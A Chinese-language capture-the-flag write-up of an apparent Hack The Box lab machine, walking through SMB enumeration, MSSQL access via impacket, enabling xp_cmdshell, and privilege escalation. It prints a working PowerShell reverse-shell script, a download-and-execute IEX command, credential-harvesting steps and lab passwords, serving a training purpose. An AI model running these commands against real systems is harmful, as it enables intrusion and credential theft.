照常打开靶机,看第一个问题 问:主机上的数据库服务时TCP的哪个端口? 答案:1433.可以通过以下命令扫描得出结果
nmap -sV -Pn 10.129.239.163
第二个问题: 问:非管理员的共享的文件夹是什么? 答案:backups。这题是看了提示才知道,提示说可以使用-N -L查看文件夹就能知道了。使用以下命令查看
smbclient -N -L 10.129.239.163
其中以$结尾的文件夹,都是需要管理员权限的。 第三个问题: 问:smb共享文件夹中的文件上,可能的密码是什么? 答案:M3g4c0rp123 获取方式与dancing靶机相同,通过smbclient登录进backups文件夹后直接get后在本地打开即可。见下图 第四个问题 问题:可以使用impacket中的哪个脚本去建立与SQL Server的连接? 答案:mssqlclient.py。看了半天才反应过来impacket是一个工具,kali已经自带了。见下图 第五个问题: 问:通过什么能够获取到数据库中执行shell? 答案:xp_cmdshell。这是注入中经常遇到的。 第六个问题 问:可以通过什么脚本来搜索提升windows主机的权限? 答案:看了提示,搜了一下才知道是winPEAS。这是一个提权工具,github链接为:
https://github.com/carlospolop/PEASS-ng
tips:到了这个地方后面的解题思路应该比较明显了,通过数据库权限拿到shell然后通过shell去找flag。但是!具体的操作我不会,以下内容参考了网上很多内容,但是大家都没用到winpeas,后续我弄懂了后会重新出一个博客。以下解题思路参考网上各位大佬的。 第七个问题
问:哪个文件包含administrator的密码? 解决这个问题以及后面三个问题的步骤如下: 首先通过kali中自带的impacket-mssqlclient连接上sqlserver数据库,命令如下:
impacket-mssqlclient ARCHETYPE/sql_svc@10.129.195.229 -windows-auth
其中的ARCHETYPE/sql_svc是账户,10.129.195.229是目标主机的IP地址。 密码输入前面smb步骤中获取的密码,然后就能登录进数据库。 登录进数据库后,看下自己的权限
SELECT IS_SRVROLEMEMBER('sysadmin')
如果后面显示1,那么说明当前用户是有sysadmin权限的。以上步骤的截图如下: 接着要调用数据库的系统命令,获取xp_cmdshell 依次键入以下内容:
EXEC sp_configure 'Show Advanced Options', 1; \\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
reconfigure; \\确认上面的操作
sp_configure; \\查看当前sp_configure配置情况
EXEC sp_configure 'xp_cmdshell', 1 \\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
reconfigure; \\确认上面的操作
xp_cmdshell "whoami" \\在靶机上调用cmdshell执行whoami
执行结束后,能看到当前操作系统的用户是archetype\sql_svc 到了这一步,我们就有了部分的os-shell,测试发现ifconfig不能执行,但是dir是能执行的,因此要一个完整的shell。 首先建立一个powershell的反向shell文件,命名为fs.ps1,注意其中的IP,这个IP是自己网卡拿到的IP,是自己的网卡拿到的IP,是自己网卡拿到的IP!内容如下
$client = New-Object System.Net.Sockets.TCPClient("10.10.16.59",4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
然后在这个文件夹下面运行一个http服务
python3 -m http.server 80
再打开一个新的窗口,使用nc监听一下4443端口
nc -lvnp 4443
-l 代表监听模式
-v 代表输出详细报告
-n 代表不执行DNS查询,如果使用的是域名就不能加入该参数
-p 指定端口号
接着在获取到的sql中执行以下命令,注意,这个地方的IP还是自己获取的,还是自己的IP,还是自己的IP!
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.10.59/a.ps1\");""
同时能看到http服务以及nc中都有反应,有以下反应说明建立连接成功 如果nc那个地方一直不动,可以回车试试,如果回车后出现#号,那么说明已经获取到了shell。 (以上几步要是一直不成功,可以关闭防火墙,打开443端口试试。
ufw disable //关闭防火墙
ufw allow 443 //开放443
) 获取到了shell后,直接命令访问如下文件,能拿到用户的key
type C:\Users\sql_svc\Desktop\user.txt
接着提权,这个地方是尝试看一下powershell的历史记录
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
能拿到用户名以及密码,这个地方借用一下大佬的分析(来自于https://www.cnblogs.com/masses0x1/p/15780893.html) 既然已经拿到了用户名和密码,那么我们直接登录就行,使用
impacket-psexec administrator@10.129.11.85
密码就是MEGACORP_4dm1n!!。进去后,获取管理员flag
type C:\Users\Administrator\Desktop\root.txt
至此,解决了第七-九所有问题
做这题参考很多大佬们的文章,他们的解题思路如下: https://blog.csdn.net/XXX26/article/details/118113329 https://blog.csdn.net/qq_45951598/article/details/115269502 https://blog.csdn.net/m0_48066270/article/details/108548784 https://www.cnblogs.com/masses0x1/p/15780893.html
|